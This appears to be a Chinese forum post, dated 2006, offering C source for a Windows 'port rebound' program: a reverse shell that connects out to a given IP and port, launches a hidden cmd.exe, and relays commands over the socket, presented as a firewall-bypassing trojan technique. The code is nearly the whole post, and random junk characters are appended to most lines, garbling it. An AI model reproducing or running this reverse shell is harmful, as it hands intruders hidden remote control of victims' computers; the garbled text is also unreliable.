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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .2ZFJ.Z"  
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/* ============================== 5/CF_v  
Rebound port in Windows NT _w'_l>I  
By wind,2006/7 @:>gRD  
===============================*/ N\rL ~4/  
#include cz|?j  
#include i1bmUKZ8'L  
+B&+FGfNU  
#pragma comment(lib,"wsock32.lib") Cbm^: _LR  
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void OutputShell(); roBb8M|q  
SOCKET sClient; o-;/ x)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !?+q7U  
T4[/_;1g  
void main(int argc,char **argv) ~CdW: t  
{ 4G XS(  
WSADATA stWsaData; Mq'm TM  
int nRet; (Fq:G) $  
SOCKADDR_IN stSaiClient,stSaiServer; B<a` o&?  
BL"7_phM,  
if(argc != 3) :fq4oHA#  
{ k1s5cg=n(  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?ks.M'@  
return; Z_ Y'#5o#  
} kQQDaZ 8  
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WSAStartup(MAKEWORD(2,2),&stWsaData); .0~uM!3y  
!]RSG^%s{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ndgx@LTQQ  
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stSaiClient.sin_family = AF_INET; y~VI,82*  
stSaiClient.sin_port = htons(0); Vo6g /h?`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ()F {kM8  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l=(( >^i  
{ rPqM&&+  
printf("Bind Socket Failed!\n"); `u PLyS.  
return; nAAv42j[  
} F[`dX  
x{tlC}t  
stSaiServer.sin_family = AF_INET; f fBd  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `(=Kp=b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .>P:{''  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F *r)  
{ Im@OAR4,R  
printf("Connect Error!"); 7')W+`o8eL  
return; IF\ @uo`  
} i1-%#YYF(  
OutputShell(); :Jv5Flxl  
} rjO{B`sV*  
w`V6vYd@  
void OutputShell() w^$C\bCbh  
{ L/`1K_\l  
char szBuff[1024]; lG%697P  
SECURITY_ATTRIBUTES stSecurityAttributes; :zPK  
OSVERSIONINFO stOsversionInfo; {uoF5|O6K  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D&D6!jz  
STARTUPINFO stStartupInfo; |?8nO.C~V  
char *szShell; $?bD55  
PROCESS_INFORMATION stProcessInformation; v^8sL` F  
unsigned long lBytesRead; l &'q+F  
H"6x/&s.=k  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *4}NLUVX  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a%`%("g!  
stSecurityAttributes.lpSecurityDescriptor = 0; dIlpo0; F  
stSecurityAttributes.bInheritHandle = TRUE; !]82$  
hpb|| V  
tHZ"o!(S  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NR1M W^R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c {%mi  
?X@[ibH6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vk4 8&8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HbsNF~;  
stStartupInfo.wShowWindow = SW_HIDE; jqc}mI\#  
stStartupInfo.hStdInput = hReadPipe; H>%AK''  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5)lcgvp  
A@)Q-V8*9s  
GetVersionEx(&stOsversionInfo); to</  
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switch(stOsversionInfo.dwPlatformId) Vb\g49\o/  
{ Babzrt-  
case 1: $S|+U}]C  
szShell = "command.com"; BO w[*hM  
break; [Tp?u8$p`  
default: m1Ya  
szShell = "cmd.exe"; 0P9\;!Y  
break; fI<LxU_n:  
} ;'8P/a$  
uH%b rbrU  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x"e;T,c  
{/,(F^T>2  
send(sClient,szMsg,77,0); Yr_ B(n  
while(1) M?" 4 {  
{ _uMG?Sbx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w a(Y[]V  
if(lBytesRead) RdWn =;  
{  t8EI"|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yj4"eDg]  
send(sClient,szBuff,lBytesRead,0); {\`tt c>  
} h$!YKfhq}  
else Q:megU'u  
{ Q!@M/@-Ky  
lBytesRead=recv(sClient,szBuff,1024,0); B]G2P`sN  
if(lBytesRead<=0) break; `+n#CWZ"Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M1-tRF  
} ="& GU%$  
} =f!A o:Uc  
%"Um8`]FVg  
return; e&VC }%m  
}
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